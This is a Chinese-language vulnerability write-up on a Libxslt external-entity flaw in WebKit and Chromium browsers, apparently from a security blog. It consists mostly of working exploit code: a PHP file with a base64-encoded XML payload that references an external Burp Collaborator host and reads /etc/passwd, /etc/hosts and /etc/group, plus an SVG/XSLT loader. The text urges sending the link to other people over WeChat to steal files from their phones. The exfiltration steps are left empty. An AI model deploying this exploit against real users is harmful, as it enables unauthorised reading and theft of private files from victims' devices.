漏洞描述

Libxslt 是基于 WebKit 的浏览器(如 Chrome、Safari 等)中使用的默认 XSL(eXtensible Stylesheet Language)库。Libxslt 允许通过 XSL 的 document() 方法加载的文档中包含外部实体。攻击者可以绕过安全限制,从 http(s):// URL 中访问 file:// URL,并获得文件访问权限。
在默认沙盒环境下,攻击者可以在 iOS(Safari/Chrome)、Mac(Safari/Chrome)、Android(Chrome)和Samsung TV(默认浏览器)上读取 /etc/hosts(主机)文件。当使用 -no-sandbox 属性时(Electron/PhantomJS),攻击者可以在任何操作系统上读取任何文件。(有趣的是,实测鸿蒙是唯一一个没被影响的系统)

而且微信自带的浏览器是没有开沙箱的,也就是说存在任意文件读取

漏洞复现

先来看看exp.php

<?php
header("Access-Control-Allow-Origin: *");
echo base64_decode("PD94bWwtc3R5bGVzaGVldCB0eXBlPSJ0ZXh0L3htbCIgaHJlZj0iaHR0cDovLzY0OG92OTJndGFtcDFyMHVuYmZ1aXE0djBtNmN1MS5idXJwY29sbGFib3JhdG9yLm5ldCI/Pgo8IURPQ1RZUEUgcCBbCjwhRU5USVRZIHBhc3N3ZCBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCI+CjwhRU5USVRZIGhvc3RzIFNZU1RFTSAiZmlsZTovLy9ldGMvaG9zdHMiPgo8IUVOVElUWSBncm91cCBTWVNURU0gImZpbGU6Ly9sb2NhbGhvc3QvZXRjL2dyb3VwIj4KCl0+IA==");
?>
<p>

  <p style="border-style: dotted;">/etc/passwd: &passwd;
  </p>
 <p style="border-style: dotted;">/etc/hosts:

&hosts;
  </p>
 <p style="border-style: dotted;">/etc/group:

&group;
  </p>

</p>

再新建一个 exp.svg 文件在 document引用加载刚才新建的文件exp.php

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

<xsl:template match="/">

  <svg width="1000%" height="1000%" version="1.1" xmlns="http://www.w3.org/2000/svg">
    <foreignObject class="node" font-size="18" width="100%" height="100%">
    <body xmlns="http://www.w3.org/1999/xhtml">
      <xmp><xsl:copy-of  select="document('exp.php')"/></xmp>
      <script type="text/javascript">

            </script>
    </body>
    </foreignObject>
  </svg>

  </xsl:template>
</xsl:stylesheet>

利用上述exp代码在本地搭建一个简单php web服务,在微信把链接发给别人,即可读取到别人手机上的/etc/passwd等敏感信息(下面测试环境是安卓8.0和IOS16.5,均为截至2023.11.22最新版微信)

进一步利用

如何进行数据外带?

以/etc/passwd为例,第一步

第二步

第三步,成功外带